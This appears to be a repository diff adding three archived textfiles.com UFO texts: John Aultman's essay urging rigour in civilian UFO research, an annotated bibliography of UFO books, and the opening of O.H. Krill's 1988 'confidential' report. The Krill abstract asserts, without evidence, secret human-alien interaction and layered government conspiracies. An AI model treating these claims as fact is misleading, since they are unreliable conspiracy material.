at long last the world's great scientists will "see the light" about UFOs.
And, for the first time, the cultists will have been proven right, and the
world's great scientific minds will admit they were wrong.


131
textfiles.com/ufo/ufo8.dbt Normal file
View File

@@ -0,0 +1,131 @@
THE UFO: FORTY YEARS ON
by
John D. Aultman
Kenneth Arnold's UFO sighting in 1947 began the modern era of the UFO
phenomenon. Since Arnold's sighting the UFO has been the subject of num-
erous books, articles, debates, and controversy. We have seen stories of
trips to Mars and beyond, claims of messages from the aliens, and claims
that the UFO is nonexistent. Yet, the UFO has survived for four decades,
and we still see the whole gamut of claims associated with it. As a layman
who has observed the UFO phenomenon for over fourteen years, and who has
studied its history, a number of thoughts have come to mind. Many of them
may meet with mixed response from the UFO community, and some have been
stated before. However, as the UFO and civilian UFO investigation enter
their fifth decade, it is time that some serious attention is given to
where both stand and what direction the future holds.
Just where does the UFO phenomenon and the UFO community stand? Over forty
years a large number of unexplained cases have been collected. That the
cases defy explanation can be seen in two lights. First, some probably
have some known cause which is unforeseen because of lack of sufficient
data due to insufficient observation or investigation. Second, some defy
explanation because they either exceed our level of scientific development
to explain, or they have an explanation within our comprehension, but
which science is reluctant to accept. In a sizable portion of the unex-
plained cases which have a sufficient amount of data the logical conclu-
sion is the latter: either they defy explanation or science is unwilling
to accept the possible explanations that can be offered. The majority of
witnesses to UFOs are Joe Average, having given no attention to the sub-
ject, or having scoffed at it at best. They have seen or experienced some-
thing which they can not explain or comprehend, and which science either
cannot explain or is unwilling to. Most witnesses seek no personal gain
from their experience, although some have chosen to do so.
From the unexplained cases with sufficient data, one can extract a fair
amount of theoretical data about the UFO and its possible characteristics.
We know that it can outperform any man-made aircraft, and perform maneu-
vers which are beyond our level of technology. They can be detected by
radar, and some cases indicate an ability to elude radar. We know this is
possible by recent developments in our own technology, although whether
ours is the same as the theoretical UFO cannot be said. We also know that
they may have left physical traces, such as burned circles, radiation, and
landing gear imprints, as well as possible physical effects on witnesses.
Additional, but less reliable, speculation can be made in such areas as
human abductions, cattle mutilations, and appearance of occupants. All
such speculation is interesting, and some of it may, in time, prove to be
on the right track, or one that is close to being correct. However, it is
still only speculation, none can be proven conclusively.
The UFO has left, in forty years, a sizable number of eyewitnesses, and
some interesting, but unconfirmed, circumstantial evidence. All of it adds
up to a case which can be very convincing of the reality of the UFO phenom-
enon, if not the UFO itself. The analogy has been used, with some validi-
ty, that if an attorney were preparing a case from comparable evidence,
that they would be assured of winning their case. The evidence collected
so far is convincing, and is enough so that the case for the reality of
the UFO phenomenon would be likely to be won. However, a number of things
must be held in mind. First, even though the evidence for the validity of
the phenomenon is convincing, none of it, to date, is convincing enough to
support any theory that would explain the phenomenon. Second, although sci-
ence and law work on similar rules, science differs in how it approaches
problems, especially those which would challenge accepted concepts of the
universe and how it works. And the reality of the UFO phenomenon, and the
implications of that reality. Offer too much that would defy a number of
aspects of the current scientific model of the universe. While civilian
UFO research has produced much in the way of eyewitness and circumstantial
evidence, it has failed to produce the one thing needed to force scientif-
ic acceptance of the UFO phenomenon: hard evidence. The burden of proof of
the UFO phenomenon today rests totally in the hands of civilian research.
As the UFO phenomenon has changed, so has civilian investigation. Groups
and individuals have come and gone, with purposes as diverse as their
claims. Some told of fabulous trips to Mars and beyond, while others spoke
of all important messages from the aliens. Others sought personal gain
and/or attention. Many just wanted to find out what was going on. Although
most major groups in existence today are of a more serious nature, the
crackpot and those out for personal gain still exist. But even serious
minded research has faced many of the same problems through the years.
Although many in the field present themselves as reputable investigators,
they are anything but. Many show total disregard for even common sense
investigative procedure; one has to go no further than to scan the number
of blatant oversights readily evident in many public reports, articles,
and books put out by these investigators. Oftimes, known facts are ig-
nored, leads aren't followed up, and viable explanations ignored so that a
'valid' case can be built. Often, personal theories, reputations, and
pride override the stated purpose of the investigator. Add to this the
fact that infighting, feuds, and personal attacks are too often present.
It is sad but true that the biggest stumbling block to civilian UFO re-
search has been itself.
More important than where are we, is where are we going? Where will UFO
research be ten years from now? Will it have provided a valid case for the
UFO phenomenon. and be working with science toward a solution? Or will it
still be fighting an uphill battle? If civilian UFO research is to make
any progress, then it is going to have to take several strong steps toward
solidifying itself. It is going to have to get its act together totally. I
can not make absolute statements as what has to be done, but I can provide
what I consider to be valid recommendations. First, civilian research has
to take steps toward unity. I don't mean one organization, but rather, to-
tal cooperation among existing organizations and individuals; the sharing
of information being not the least of considerations. Second, a standard-
ized procedure for investigators, which would include a standard ratings
system, perhaps similar to the Hynek system used by ParaNet. Third, an ac-
creditation procedure for investigators to certify their competency, and a
standard of ethics. Fourth, disassociation of any investigator who fails
to live up to the code of ethics, fails to achieve accreditation, or fails
to adhere to standard investigative procedure (beyond a preset limit).
Fifth, the establishment of an information sharing network. A series of
computer based bulletin boards would be ideal for this purpose, since they
would allow access by all but would limit access according to security
clearance on the BBS.
Above all, even if none of the above is done, UFO investigation has to be-
come more reliable. Infighting must come to an end, and those seeking only
to feather their own nest must be ousted from the ranks of reputable in-
vestigators. The carelessness of the past and present only plays into the
hands of debunkers who wish to portray the civilian UFO effort as an at-
tempt to mislead the American public. Civilian UFO investigation has
gained the level of respect it has due to the efforts of APRO, NICAP,
MUFON, CAUS, and many reputable individuals who gave, and are giving, many
hours of work to the purpose of proving the case for the phenomenon. If
those in UFO investigation today would devote some of their time and ef-
fort toward rectifying the weaknesses which exist, and making certain that
the mistakes of the past don't reoccur, then the day of proving the valid-
ity of the phenomenon will be that much closer.
------------------------------------------John Aultman is ParaNet's Mississippi correspondent and a member of MUFON. Thisarticle was origin
ally submitted to the MUFON UFO Journal.


650
textfiles.com/ufo/ufobooks.ufo Normal file
View File

@@ -0,0 +1,650 @@
UFOLOGY BOOKS (REVISION 2.1 343 books)
--------------------------------------
The following is a collection of titles known to the author
H. S. Stewart on the subject of UFO's. The list is alphabetic
by author with the year of publication given if known. A "?"
indicates that the exact date of publication is not known but
that it is at least the date given. An "*" preceeding the title
indicates that the author owns a copy of that book. A "#" preceeding
the title indicates that the author of this list has read the book.
If a book has been co-authored then only the first author listed
on the cover is given. In fairness the author has not editted this
list and therefore the books are not all of the same quality.
HOWEVER since everone has an opininion the books whose author's
name is preceeded by an "!" are considered by the writer to be
must read items. If you wish to contact me you can do so via
Tom Mickus's most excellent board UFONET I. (416-237-1204)
Bill Adler * LETTERS TO THE AIR FORCE ON UFOS 1967
George Admaski * BEHIND THE FLYING SAUCER MYSTERY 1961
(FLYING SAUCERS FAREWELL)
George Admaski MANY MANSIONS ?1961
George Admaski COSMIC PHILOSOPHY 1961
George Admaski * INSIDE THE FLYING SAUCERS 1955
(INSIDE THE SPACE SHIPS)
George Admaski # FLYING SAUCERS HAVE LANDED 1953
George Admaski PIONEERS OF SPACE A TRIP TO THE 1949
MOON MARS AND VENUS
Gordon W. Allen OVERLORDS OLYMPIANS AND THE UFO 1974
Gordon W. Allen SPACECRAFT FROM BEYOND THREE 1959
DIMENSIONS
Cedric Allingham FLYING SAUCER FROM MARS ?1969
George C. Andrews EXTRATERRESTRIALS AMONG US ?1988
Orfeo Angelucci THE SECRET OF THE SAUCERS 1955
Kenneth Arnold THE COMING OF THE SAUCERS 1952
John C. Baird # THE INNER LIMITS OF OUTER SPACE 1987
Gray Barker GRAY BARKER AT GIANT ROCK 1976
Gray Barker THE SILVER BRIDGE 1970
Gray Barker THE BOOK OF GEORGE ADAMSKI 1965
Gray Barker THE STRANGE CASE OF DR M K JESSUP 1963
Gray Barker THEY KNEW TOO MUCH ABOUT
FLYING SAUCERS 1958
Gray Barker THE SUACERIAN REVIEW 1956
Madelene Barnothy THE EFFECTS OF MAGNETIC FIELDS 1964
Bill Barry ULTIMATE ENCOUNTER 1978
John Baxter THE FIRE CAME BY - THE RIDDLE OF 1976
THE GREAT SIBERIAN EXPLOSION
Robert B. Beard FLYING SAUCERS, UFO'S AND EXTRA
TERESTRIAL LIFE:A BIBLIOGRAPHY
OF BRITISH BOOKS 1971
Thomas Beardon EXCALIBUR BRIEFING 1980
Chessman Beere USP - PHYSICS FOR FLYING SAUCERS 1973
Albert Bender FLYING SAUCERS AND THE THREE MEN
IN BLACK 1963
Albert Bender SPACE REVIEW 1962
Hildegard Bender KNIGHTS OF THE SOLAR CROSS - 1968
MESSAGES FROM OUTER SPACE
Jacques Bergier ET INTERVENTION - THE EVIDENCE 1974
Jacques Bergier ET VISITS FROM PREHISTORY
TO PRESENT 1970
! Charles Berlitz * THE ROSWELL INCIDENT 1980
Charles Berlitz * MYSTERIES FROM FORGOTTEN WORLDS 1972
Charles Berlitz # THE MYSTERY OF ATLANTIS 1969
Raymond Bernard # THE HOLLOW EARTH 1969
Raymond Bernard FLYING SAUCERS FROM EARTHS ?1969
INTERIOR
Truman Bethurum THE PEOPLE OF THE PLANET CLARION 1970
Truman Bethurum FACING REALITY 1958
Truman Bethurum THE VOICE OF THE PLANET CLARION 1957
Truman Bethurum ABOARD A FLYING SAUCER 1954
Otto Billig FLYING SAUCERS: MAGIC IN THE
SKIES: A PSYCHOHISTORY 1982
Otto Binder UNSOLVED MYSTERIES OF THE PAST ?1974
Otto Binder MANKIND CHILD OF THE STARS 1974
Otto Binder FLYINF SAUCERS ARE WATCHING US 1968
Otto Binder WHAT WE REALLY KNOW ABOUT
FLYING SAUCERS 1967
Ted Bloecher REPORT ON THE UFO WAVE OF 1947 1967
Ralph Blum * BEYOND EARTH: MANS CONTACT
WITH UFO'S 1974
Josef Blumrich * THE SPACESHIPS OF EZEKIEL 1974
Yurko Bondarchuk UFO SIGHTINGS, LANDINGS
AND ABDUCTIONS 1979
Charles Bowen ENCOUNTER CASES FROM FLYING
SAUCER REVIEW 1977
Charles Bowen UFO ENCOUNTERS (magazine) 1973
Charles Bowen UFO'S IN TWO WORLDS (magazine) 1971
Charles Bowen BEYOND CONDON 1969
Charles Bowen THE HUMANOIDS - A SURVEY OF 1969
WORLDWIDE REPORTS
Charles Bowen UFO PERCIPIENTS (magazine) 1969
Charles Bowen THE HUMANOIDS (magazine) 1966
M. Bowen FLYING SAUCERS AND OUTER SPACE 1969
Don Boys FLYING SAUCERS: MYTHS, MADNESS
OR MADE IN MOSCOW ?1974
Ronald Bracewell THE GALACTIC CLUB 1975
Eugene Burt UFO'S AND DIAMAGNETISM 1970
Lynn E. Catoe UFO'S AND RELATED SUBJECTS:
AN ANNOTATED BIBLIOGRAPHY 1969
Maurice Chatelain * OUR ANCESTORS CAME FROM
OUTER SPACE 1975
Howard Chambers UFO"S FOR THE MILLIONS 1967
Robert Chapman * UNIDENTIFIED FLYING OBJECTS
FLYING SAUCERS OVER BRITAIN 1969
Robert Charroux LEGACY OF THE GODS 1974
Robert Charroux THE GODS UNKNOW 1974
Robert Charroux MASTERS OF THE WORLD 1974
Robert Charroux FORGOTTEN WORLDS 1973
Robert Charroux ONE HUNDRED THOUSAND YEARS OF 1971
MANS UNKNOWN HISTORY
Adrian V. Clark COSMIC MYSTERIES OF THE UNIVERSE ?1969
Daniel Cohen MONSTERS: GIANTS AND LITTLE MEN
FROM MARS 1975
Edward U. Condon SCIENTIFIC STUDY OF UNIDENTIFIED
FLYING OBJECTS 1969
Gordon Cove WHO PILOTS THE FLYING SAUCERS ?1974
William R. Corliss * HANDBOOK OF UNUSUAL NATURAL
PHENOMENA 1977
Douglas Curran IN ADVANCE OF THE LANDING: FOLK
CONCEPTS OF OUTER SPACE 1985
Reilly H. Crabb FLYING SUACERS AT EDWARDS AFB ?1980
Leonard G. Cramp SPACE, GRAVITY AND THE
FLYING SAUCER ?1967
Ellen Crystal INVASION: THEY COME IN SILENCE ?1988
David M. Jacob's THE CONTROVERSY OVER FLYING
OBJECTS IN AMERICA 1869-1973 ?1986
Jay David THE FLYING SAUCER READER 1967
Isabel Davis CLOSE ENCOUNTERS AT KELLY
AND OTHERS OF 1955 1978
Isabel Davis EXTRATERRESTRIALS SUGGESTED
MOTIVES AND ORIGIN 1969
Erich Von Daniken VON DANIKENS PROOF 1978
Erich Von Daniken MIRACLES OF THE GODS 1976
Erich Von Daniken RETURN TO THE STARS ?1974
Erich Von Daniken IN SEARCH OF ANCIENT GODS 1973
Erich Von Daniken # THE GOLD OF THE GODS 1972
Erich Von Daniken * GODS FROM OUTER SPACE 1971
Erich Von Daniken * CHARIOTS OF THE GODS 1970
L. S. DeCamp * THE ANCIENT ENGINEERS 1980
R. L. Dione * GOD DRIVES A FLYING SAUCER 1969
Barry Downing THE BIBLE AND FLYING SAUCERS 1968
Raymond W. Drake GODS AND SPACEMEN THROUGHOUT
HISTORY 1975
Raymond W. Drake GODS AND SPACEMEN OF THE ANCIENT
WEST 1974
Raymond W. Drake GODS AND SPACEMEN IN ANCIENT EAST 1968
Ann Druffel THE TUJUNGA CANYON CONTACTS 1980
George Eberhart UFO'S AND THE EXTRATERESTRIAL 1980
CONTACT MOVEMENT: A BIBLIOGRAPHY 1986
George Eberhart A GEO-BIBLIOGRAPHY OF ANOMALIES 1980
Martin Ebon # THE RIDDLE OF THE BERMUDA TRIANGL 1975
Frank Edwards FLYING SAUCERS HERE AND NOW 1967
Frank Edwards * FLYING SAUCERS SERIOUS BUSINESS 1966
Frank Edwards * STRANGER THAN SCIENCE 1959
Frank Edwards * STRANGEST OF ALL 1956
Robert Emenegger * UFO'S PAST PRESENT & FUTURE 1974
Walter Ernsting THE DAY THE GODS DIED 1971
Hilary Evans THE EVIDENCE FOR UFO'S 1983
Lawrence Fawcett # CLEAR INTENT: THE GOVERMENT
COVERUP OF THE UFO EXPERIENCE 1984
Randall Fitzgerald THE COMPLETE BOOK OF EXTRA
TERRESTRIAL ENCOUNTYERS 1979
Parls Flammonde UFO EXIST ?1987
Charles Fort COMPLETE BOOKS OF CHARLES FORT 1974
Charles Fort LO! 1934
Raymond E. Fowler CASEBOOK OF A UFO INVESTIGATOR 1981
Raymond E. Fowler # THE ANDREASSON AFFAIR 1979
Stanton Friedman UFO'S TODAY 1974
Stanton Friedman UFO'S MYTH AND MYSTERY 1971
Stanton Friedman FLYING SAUCER ENERGETICS 1970
Daniel Fry THE WHITE SANDS INCIDENT 1966
Curtis Fuller PROCEEDINGS OF THE FIRST
INTERNATIONAL UFO CONGRESS 1980
John G. Fuller ALIENS IN THE SKIES ?1970
John G. Fuller * THE INTERUPTED JOURNEY 1966
John G. Fuller * INCIDENT AT EXETER 1966
Rupert Furneaux * ANCIENT MYSTERIES 1977
Judith Gansberg DIRECT ENCOUNTERS 1980
Richard Garvin # THE CRYSTAL SKULL 1973
Gavin Gibbons THEY RODE IN SPACESHIPS 1957
Daniel Gillmor SCIENTIFIC STUDY OF UFO'S 1969
Kurt Glemser FLYING SAUCERS FROM THE FOURTH 1974
DIMENSION
Kurt Glemser FLYING SAUCERS AND THE INNER 1974
EARTH
Kurt Glemser THE MEN IN BLACK REPORT 1973
Kurt Glemser UFO'S: MENACE FROM THE SKIES 1972
Kurt Glemser THEY WALK AMONG US 1970
Timothy Good GEORGE ADAMSKI THE UNTOLD STORY ?1988
Gabriel Green LETS FACE THE FACTS ABOUT
FLYING SAUCERS 1967
Irving Greenfield THE UFO REPORT 1967
Barry Greenwood CLEAR INTENT ?1988
Richard F. Haines OBSERVING UFO'S: AN INVESTIGATIVE
HANDBOOK 1980
David Haisell * THE MISSING SEVEN HOURS 1978
David Haisell THE MISSING SEVEN HOURS REVEALED 1978
! Richard H. Hall * UNINVITED GUESTS 1988
Richard H. Hall THE UFO EVIDENCE 1964
Richard H. Hall CHALLANGE OF UFO'S ?1966
W. A. Harbinson * THE LIGHT OF EDEN 1987
W. A. Harbinson * OTHERWORLD 1984
W. A. Harbinson REVELATION ????
! W. A. Harbinson * GENESIS 1980
Clive Harold THE UNINVITED: A TRUE STORY 1979
Gerald Heard IS ANOTHER WORLD WATCHING 1953
Allan Hendry THE UFO HANDBOOK 1979
James Holledge FLYING SAUCERS OVER AUSTRALIA 1965
Bud Hopkins * MISSING TIME: A DOCUMENTED STUDY
OF UFO ABDUCTIONS 1981
Bud Hopkins * INTRUDERS: THE INCREDIBLE
VISITATIONS AT COPLEY WOODS 1987
Bud Hopkins INTRUDERS AMONG US ?1987
Linda Moulten Howe ???????HARVEST 1989
! Allan J. Hynek * THE HYNEK UFO REPORT 1977
Allan J. Hynek THE EDGE OF REALITY 1975
Allan J. Hynek * THE UFO EXPERIENCE A SCIENTIFIC
INQUIRY 1972
Phil Imbrogno # NIGHT SIEGE THE HUDSON VALLEY UFO 1987
D. Jacobs THE UFO CONTROVERCY IN AMERICA 1975
Trevor James THEY LIVE IN THE SKY ?1967
M. K. Jessup THE EXPANDING CASE FOR UFO'S 1957
M. K. Jessup # THE CASE FOR THE UFO'S 1955
! M. K. Jessup THE CASE FOR THE UFO'S 1956
(ANOTATED "VARO" EDITION)
M. K. Jessup THE UFO ANNUAL 1956
M. K. Jessup UFO AND THE BIBLE 1956
Carl Jung FLYING SAUCERS: A MODERN MYTH
OF THINGS SEEN IN THE SKY 1959
John A. Keel THE MAN WHO INVENTED FLYING
SAUCERS 1983
John A. Keel THE EIGHTH TOWER 1975
John A. Keel * THE MOTHMAN PROPHECIES 1975
John A. Keel * OUR HAUNTED PLANET 1971
John A. Keel UFO'S OPERATION TROJAN HORSE 1970
C. F. Keil COMMENTARY ON THE OLD TESTAMENT 1966
Malcolm Kent * THE TERROR ABOVE US 1967
Major Donald E. Keyhoe * ALIENS FROM SPACE... THE REAL
STORY OF UFO'S 1973
Major Donald E. Keyhoe FLYING SAUCERS TOP SECRET 1960
Major Donald E. Keyhoe FLYING SAUCER CONSPIRACY 1955
Major Donald E. Keyhoe FLYING SAUCERS FROM OUTER SPACE 1953
Major Donald E. Keyhoe FLYING SAUCERS ARE REAL 1950
K. A. Kichen ANCIENT ORIENT AND OLD TESTAMENT 1966
Gary Kinder * LIGHT YEARS 1987
Phillip Klass # UFO'S THE PUBLIC DECIEVED 1983
Phillip Klass UFO'S EXPLAINED 1974
Phillip Klass UFO'S IDENTIFIED 1968
Peter Kolosimo NOT OF THIS WORLD 1971
Dino Kraspedon MY CONTACT WITH FLYING SAUCERS 1959
Alan Landsburg * THE OUTER SPACE CONNECTION 1975
George Leonard SOMEONE ELSE IS ON THE MOON ?1988
Brinsley LePoer Trench SECRET OF THE AGES - UFO's 1975
FROM INSIDE THE EARTH
Brinsley LePoer Trench OPERATION EARTH 1974
Brinsley LePoer Trench THE ETERNAL SUBJECT 1973
(THE UFO STORY)
Brinsley LePoer Trench FLYING SAUCERS HAVE ARRIVED 1970
Brinsley LePoer Trench THE FLYING SAUCER STORY 1970
Brinsley LePoer Trench TEMPLE OF THE STARS 1962
(MEN AMONG MANKIND)
Brinsley LePoer Trench THE SKY PEOPLE 1960
Gordon Lindsay THE RIDDLE OF THE FLYING SAUCERS 1972
Gordon Lindsay THE ANTICHRISTS HAVE COME 1958
Howard Liss UNIDENTIFIED FLYING OBJECTS 1968
Robert Loftin IDENTIFIED FLYING OBJECTS 1968
Bill Looney RADIX 1972
Gordon Lore Jr. STRANGE EFFECTS FROM UFO'S 1969
Gordon Lore Jr. MYSTERIES OF THE SKIES: UFO'S
IN PERSPECTIVE 1968
Robert W. Loosley AN ACCOUNT OF A MEETING WITH
DENIZENS OF ANOTHER WORLD 1971
Coral Lorenzen ABDUCTED! 1977
Coral Lorenzen ENCOUNTERS WITH UFO OCCUPANTS 1976
Coral Lorenzen UFO'S THE WHOLE STORY 1969
Coral Lorenzen * UFO'S OVER THE AMERICAS 1968
Coral Lorenzen FLYING SAUCER OCCUPANTS 1967
Coral Lorenzen * THE FLYING SAUCER HOAX 1966
Coral Lorenzen (FLYING SAUCERS: THE STARTLING
EVIDENCE OF THE INVITATION FROM
OUTER SPACE) 1966
Duncan Lunan * MYSTERIOUS SIGNALS FROM
OUTER SPACE 1974
Larry Maddock THE FLYING SAUCER GAMBIT 1966
Kenneth c. McCulloch MANKIND CITIZEN OF THE GALAXY ?1988
John Magor OUR UFO VISITORS 1977
Howard Menger * FROM OUTER SPACE TO YOU 1959
John Manas FLYING SAUCERS ANS SPACEMEN 1962
Dr. Donald Menzel THE UFO ENIGMA 1977
Dr. Donald Menzel UFO FACT OR FICTION 1967
Dr. Donald Menzel THE WORLD OF FLYING SAUCERS 1963
Dr. Donald Menzel FLYING SAUCERS 1953
Aime Michel FLYING SAUCERS AND THE STRAIGHT
LINE MYSTERY 1958
Aime Michel THE TRUTH ABOUT FLYING SAUCERS 1956
John Michell * THE FLYING SAUCER VISION 1967
Helen Mitchell WE MET THE SPACE PEOPLE ?1970
William L. Moore THE SPITZBERGEN SAUCER CRASH ?1988
William L. Moore CRASHED UFO'S: EVIDENCE IN THE
SEARCH FOR PROOF ?1988
William L. Moore UFO'S THE MOST HIGHLY CLASSIFIED
SUBJECT 1986
! William L. Moore * THE ROSWELL INCIDENT 1980
! William L. Moore * THE PHILADELPHIA EXPERIMENT 1979
Jim Moseley THE WRIGHT FIELD STORY 1971
Jim Moseley JIM MOSELEY'S BOOK OF SAUCER NEWS 1967
Israel Norkin SAUCER DIARY 1957
Erich Norman GODS AND DEVILS FROM OUTER SPACE 1973
Erich Norman * GODS, DEMONS AND SPACE CHARIOTS 1970
James E. Oberg UFO'S AND OUTER SPACE MYSTERIES:
Thomas Olsen THE REFERENCE FOR OUTSTANDING
UFO SIGHTING REPORTS ?1968
John C. O'Neill PRODIGAL GENIUS: THE LIFE OF
NIKOLA TELSA 1968
Ray Palmer THE REAL UFO INVASION 1968
Michael Parry CHARIOTS OF FIRE 1974
A SYMPATHETIC SKEPTICS REPORT 1982
T. B. Pawlicki HOW TO BUILD A FLYING SAUCER AND
OTHER PROPOSALS IN SPECULATIVE
ENGINEERING 1981
Ted Peters UFO'S GOD'S CHARIOTS 1977
Ted Phillips PHYSICAL TRACES ASSOCIATED WITH 1975
UFO SIGHTINGS
Randolfo Raphael Pozos # THE FACE ON MARS ?1980
UFO Congress PROCEEDINGS OF THE FIRST INTER
NATIONAL UFO CONGRESS 1980
! Captain Kevin D. Randle * THE UFO CASEBOOK 1989
Jenny Randles SKY CRASH: A COSMIC CONSPIRACY 1984
Jenny Randles SCIENCE AND THE UFO'S 1985
Jenny Randles UFO REALITY: A CRITICAL LOOK
AT THE PHYSICAL EVIDENCE 1983
Richard M. Rasmussen THE UFO LITERATURE: A COMPREHEN
SIVE BIBLIOGRAPHY OF WORKS IN
ENGLISH 1985
J. Rimmer THE EVIDENCE FOR ALIEN ABDUCTIONS 1984
Edward J. Ruppelt * THE REPORT ON UNIDENTIFIED
FLYING OBJECTS 1956
Harley D. Rutledge PROJECT IDENTIFICATION: THE
FIRST SCIENTIFIC FIELD STUDY
OF THE UFO PHENOMENA 1981
Margaret Sachs THE UFO ENCYCLOPEDIA 1980
Margaret Sachs * CELESTRIAL PASSENGERS: UFO'S
AND SPACE TRAVEL 1977
Carl Sagan OTHER WORLDS 1975
Carl Sagan THE COSMIC CONNECTION 1973
Carl Sagan UFO'S A SCIENTIFIC DEBATE 1972
Carl Sagan INTELLIGENT LIFE IN THE UNIVERSE 1967
Thierry J. Sagnier * THE UFO REPORT 1983
Frank Salisbury THE UTAH UFO DISPLAY 1974
Ivan Sanderson UNINVITED VISITORS 1967
Ivan Sanderson INVISIBLE RESIDENTS 1970
David Saunders UFO's? YES!: WHERE THE CONDON
REPORT WENT WRONG 1968
Frank Scully # BEHIND THE FLYING SAUCERS 1950
Jean Sendy * THE COMING OF THE GODS 1970
Jean Sendy * THE GODS WHO MADE HEAVEN & EARTH 1969
Jean Sendy THE MOON: OUTPOST OF THE GODS 1968
Robert Sheaffer THE UFO VERDICT: EXAMINING
THE EVIDENCE 1980
Arthur Shuttlewood UFO'S KEY TO THE NEW AGE 1971
Arthur Shuttlewood WARNING FROM FLYING FRIENDS 1968
Arthur Shuttlewood * THE WARMINSTER MYSTERY 1967
Zecharia Sitchin * THE WARS OF GODS AND MEN 1985
Zecharia Sitchin THE THE 12TH PLANET ?1985
Zecharia Sitchin THE STAIRWAY TO HEAVEN ?1985
MS Smith THE UFO ENIGMA 1976
Susy Smith * STRANGERS FROM SPACE 1977
Warren Smith # SECRET OF THE HOLLOW EARTH 1976
Warren Smith # SECRET FORCES OF THE PYRAMIDS 1975
Garder Soule UFO'S AND IFO'S 1967
John Spenser * PHENOMENON FORTY YEARS OF
FLYING SUACERS 1988
John Spencer # NO EARTHLY EXPLANATION 1974
John Spencer LIMBO OF THE LOST 1969
L. Gerome Stanton * FLYING SAUCERS HOAX OR REALITY 1966
Roger Stanway FLYING SAUCER REPORT - UFO'S
UNIDENTIFIED AND UNDENIABLE 1968
Fred Steckling UFO'S WHY ARE THEY HERE? 1969
Brad Steiger # THE FELLOWSHIP 1988
Brad Steiger * THE UFO ABDUCTORS 1988
Brad Steiger THE STAR PEOPLE ?1988
Brad Steiger REVELATION: THE DIVINE FIRE ?1988
Brad Steiger WORLDS BEFORE OUR OWN ?1988
Brad Steiger * ALIEN MEETINGS 1978
Brad Steiger GODS OF AQUARIOUS 1976
Brad Steiger * PROJECT BLUEBOOK 1976
Brad Steiger THE NEW UFO BREAKTHROUGH ?1976
Brad Steiger # MYSTERIES OF TIME AND SPACE 1974
Brad Steiger FLYING SAUCER INVASION - TARGET 1969
EARTH
Brad Steiger ALLENDE LETTERS 1968
Brad Steiger NEW UFO BREAKTHROUGH 1968
Brad Steiger FLYING SAUCERS ARE HOSTILE 1967
Brad Steiger THE FLYING SAUCER MENACE 1967
Brad Steiger STRANGERS FROM THE SKIES 1966
William Steinman UFO CRASH AT AZTEC ?1988
Robert Sheaffer THE UFO VERDICT: EXAMINING
THE EVIDENCE 1980
Jack Stonely CETI: COMMUNICATION WITH EXTRA
TERRESTRIAL INTELLIGENCE 1976
Jack Stonely * IS ANYONE OUT THERE 1974
Ronald Story UFO'S AND THE LIMITS OF SCIENCE 1981
Ronald Story # THE ENCYCLOPEDIA OF UFO'S 1980
Ronald Story GUARDIANS OF THE UNIVERSE 1980
Ronald Story THE SPACE GODS REVEALED A CLOSE 1976
LOOK AT THE THEORIES OF ERICH
VON DANIKEN
Frank Stranges THE STRANGER AT THE PENTAGON 1972
Frank Stranges MY FRIEND FROM BEYOND EARTH 1960
Frank Stranges FLYING SAUCERAMA 1959
! Whitley Strieber * MAJESTIC 1989
Whitley Strieber * TRANSFORMATION 1988
Whitley Strieber * COMMUNION 1987
Leonard Stringfield * SITUATION RED: UFO SIEGE 1977
Leonard Stringfield INSIDE SAUCER POST 3-0 BLUE 1957
Richard Tambling FLYING SAUCERS WHERE DO
THEY COME FROM 1967
Robert K. G. Temple THE SIRIUS MYSTERY 1976
Paul Thomas FYING SAUCERS THROUGH THE AGES 1965
Andrew Tomas * WE ARE NOT THE FIRST 1971
James Trevor THEY LIVE IN THE SKY 1958
Jacques Vallee MESSENGERS OF DECEPTION: UFO
CONTACTS AND CULTS 1979
Jacques Vallee THE INVISIBLE COLLEGE 1976
Jacques Vallee DIMENSIONS: A CASEBOOK OF
ALIEN CONTACT ????
Jacques Vallee * ANATOMY OF A PHENOMENON 1965
Jacques Vallee UFO'S IN SPACE 1965
Jacques Vallee * THE UFO ENIGMA: CHALLENGE 1966
TO SCIENCE
Jacques Vallee PASSPORT TO MAGONIA 1969
! Renato Vesco * INTRCEPT / UFO 1968
(INTERCEPT BUT DONT SHOOT)
Travis Walton THE WALTON EXPERIENCE 1978
David Webb YEAR OF THE HUMANOIDS 1974
David Wheeler THE LUBBOCK LIGHTS 1977
Dale White * IS SOMETHING UP THERE? 1968
P. J. Wilcox THE UFO QUESTION 1976
Neil Wilgus THE ILLUMINOIDS 1977
Harold T. Wilkins FLYING SAUCERS UNCENSORED 1956
Harold T. Wilkins * FLYING SAUCERS ON THE ATTACK 1954
Harold T. Wilkins STRANGE MYSTERIES OF TIME
& SPACE ?1954
George Hunt Williamson OTHER TONGUES, OTHER FLESH ?1988
George Hunt Williamson THE SAUCERS SPEAK ?1966
Dr. Clifford Wilson * CRASH GO THE CHARIOTS 1972
Dr. Clifford Wilson * THE ALIEN AGENDA 1974
Dr. Clifford Wilson UFO'S & THEIR MISSION IMPOSSIBLE 1974
Dr. Clifford Wilson IN THE BEGINNING GOD 1970
Don Wilson OUR MYSTERIOUS SPACESHIP MOON 1975
Robert Anton Wilson * COSMIC TRIGGER THE FINAL SECRET
OF THE ILLUMINATI 1977
T. M. Wright THE INTELLIGENT MAN'S GUIDE
TO FLYING SAUCERS 1968
Bob Young FLYING SAUCERS ARE - BOOK TWO 1959
Mort Young UFO: TOP SECRET 1967


577
textfiles.com/ufo/ufok1.txt Normal file
View File

@@ -0,0 +1,577 @@
(Part 1 of 4)
****************
* CONFIDENTIAL *
****************
A SITUATION REPORT ON OUR ACQUISITION OF ADVANCED
TECHNOLOGY AND INTERACTION WITH ALIEN CULTURES
JANUARY 1988
BY
O.H. KRILL
ABSTRACT
Throughout the forty year period when UFO have been actively
observed in our civilization, a lot of data has been gathered --
data which has often pointed to aspects of the phenomena that have
been supressed. As a result of the suppression and
compartmentalization of the information, our culture has been
fragmented into several levels of "reality" which both co-exist
and oppose each other. Part of our culture does not or will not
believe in the existence of other species; part of our culture
acknowledges their existence or the probability of their
existence; part of our culture is actually interacting with the
other species. These simultaneous realities contribute to the
condition of extreme confusion in which we find ourselves.
Research into UFO's follows a similar pattern. Some view the
matter in a completely empirical perspective; others search for
patterns and functional relationships in events; still others go
out and ask the right questions at the right time and get answers.
Some of those answers that have appeared are, to some people,
quite disturbing and fantastic.
All in all, we are dealing with new concepts in physics, new
concepts in psychology, and the gradually growing awareness that
we are not only not alone here, but we have never been alone here.
As if that were not enough, it turns out that factions of our
society have known this, and apparently have been interacting with
some of these alien species for quite a while.
The bottom line is that all along, humanity has been led down
a false path, a path that has been plagued by layer upon layer of
conspiracies and disinformation. Technological knowledge and
